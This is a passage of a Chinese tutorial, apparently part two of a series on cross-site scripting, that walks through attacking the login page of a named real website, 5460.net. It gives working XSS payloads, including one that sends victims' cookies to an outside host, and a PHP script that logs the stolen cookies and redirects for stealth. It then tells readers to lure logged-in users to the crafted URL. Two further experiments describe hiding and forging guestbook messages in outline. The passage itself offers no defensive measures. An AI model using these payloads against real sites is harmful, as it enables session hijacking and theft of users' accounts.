跨站脚本执行漏洞详解与防护(2)


1. 进入首页http://www.5460.net/ 
2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。 
3. 分析抓包数据,得到实际请求: 
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 
4. 构造一个提交,目标是能够显示用户Cookie信息: 
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6 
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求: 
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信 息,内容如下: 
<?php 
$info = getenv("QUERY_STRING"); 
if ($info) { 
$fp = fopen("info.txt","a"); 
fwrite($fp,$info."/n"); 
fclose($fp); 

header("Location: http://www.5460.net"); 
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。 
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以 获取该用户Cookie中的敏感信息。 
7. 后面要做什么就由你决定吧! 

实验二:屏蔽页面特定信息 
我们仍然以5460.net作为例子,下面是一个有问题的CGI程序: 
http://www.5460.net/txl/liuyan/liuyanSql.pl 
该CGI程序接受用户提供的三个变量,即nId,csId和cName,但是没有对用户提交的cName变量进行任何检 查,而且该CGI程序把cName的值作为输出页面的一部分,5460.net的用户应该都比较清楚留言右下角有你 的名字,对吧? 
既然有了上面的种种条件,我们可以不妨作出下面的结论: 
某个用户可以“屏蔽”其两次留言之间的所有留言! 
当然,我们说的“屏蔽”不是“删除”,用户的留言还是存在的,只不过由于HTML的特性,我们无法从 页面看到,当然如果你喜欢查看源代码的话就没有什么用处了,但是出了我们这些研究CGI安全的人来 说,有多少人有事没事都看HTML源代码? 
由于种种原因,我在这里就不公布具体的细节了,大家知道原理就好了。 
注:仔细想想,我们不仅能屏蔽留言,还能匿名留言,Right? 

实验三:伪造页面信息 
如果你理解了上面那个实验,这个实验就没有必要做了,基本原理相同,只是实现起来稍微麻烦一点而 已。 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/3490.html